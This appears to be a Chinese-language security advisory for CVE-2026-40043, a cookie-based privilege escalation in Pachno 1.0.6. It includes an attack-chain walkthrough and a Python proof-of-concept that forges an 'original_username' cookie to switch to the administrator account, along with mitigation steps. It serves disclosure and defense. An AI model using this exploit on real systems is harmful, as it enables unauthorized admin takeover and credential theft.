CVE-2026-40043 CVSS 6.5 中危

CVE-2026-40043 Pachno权限绕过漏洞

披露日期: 2026-04-13

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-40043

漏洞类型

权限绕过

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Pachno

漏洞概述

Pachno 1.0.6版本中存在严重的身份验证绕过漏洞。该漏洞源于`runSwitchUser()`函数对用户输入的验证不足，允许经过身份验证的低权限用户通过操纵`original_username` cookie来提升权限。攻击者利用此缺陷可将cookie设置为任意值，并请求切换到用户ID为1的管理员账户，进而窃取管理员的会话令牌或密码哈希值。此漏洞无需复杂的用户交互即可被利用，对系统安全性构成严重威胁。

技术细节

该漏洞的核心技术原理在于Pachno应用程序在处理用户切换逻辑时，过度信任客户端提供的`original_username` Cookie值。在`runSwitchUser()`操作中，应用程序未在服务器端对请求源用户的权限以及Cookie内容的合法性进行严格校验。攻击者只需拥有一个低权限的已认证会话，即可在HTTP请求中手动注入恶意的`original_username` Cookie。由于系统并未验证当前用户是否有权执行切换操作，攻击者可以强制将上下文切换至用户ID为1的超级管理员。一旦切换成功，攻击者即可继承管理员的所有权限，获取敏感数据或进一步控制服务器。

攻击链分析

STEP 1

1. 获取低权限账号

攻击者注册或获取一个普通低权限用户账号，并成功登录系统以获取有效的会话Cookie。

STEP 2

2. 构造恶意请求

攻击者拦截HTTP请求，修改Cookie字段，添加或篡改`original_username`参数，并准备向切换用户的接口发送请求。

STEP 3

3. 执行权限提升

发送包含恶意Cookie的请求到`runSwitchUser`接口，指定目标用户ID为1（管理员）。系统验证逻辑缺失，导致权限切换成功。

STEP 4

4. 窃取凭据或维持权限

利用获取的管理员会话，读取敏感配置、导出用户密码哈希或安装后门以维持长期控制。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target configuration
target_url = "http://example.com/pachno/switch_user"

# Attacker's low-privilege session cookie
attacker_session = "attacker_low_priv_session_id_here"

# Step 1: Prepare cookies with the vulnerable 'original_username' parameter
# The application trusts this cookie value to determine the switch context
exploit_cookies = {
    "original_username": "admin",  # Malicious value to impersonate admin
    "PHPSESSID": attacker_session
}

# Step 2: Send request to switch to User ID 1 (usually Administrator)
payload = {
    "user_id": 1
}

try:
    response = requests.get(target_url, cookies=exploit_cookies, params=payload)
    
    if response.status_code == 200:
        print("[+] Exploit successful! Session token potentially escalated.")
        print("[+] Response:", response.text)
    else:
        print("[-] Exploit failed. Status code:", response.status_code)
        
except Exception as e:
    print(f"[!] Error occurred: {e}")

影响范围

Pachno 1.0.6

防御指南

临时缓解措施

如果无法立即升级，建议管理员临时禁用用户切换功能或在网络边界阻断对相关接口的访问。同时，应立即审计系统日志，查找是否存在异常的用户切换记录，并强制重置所有管理员账户的密码以防凭证泄露。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表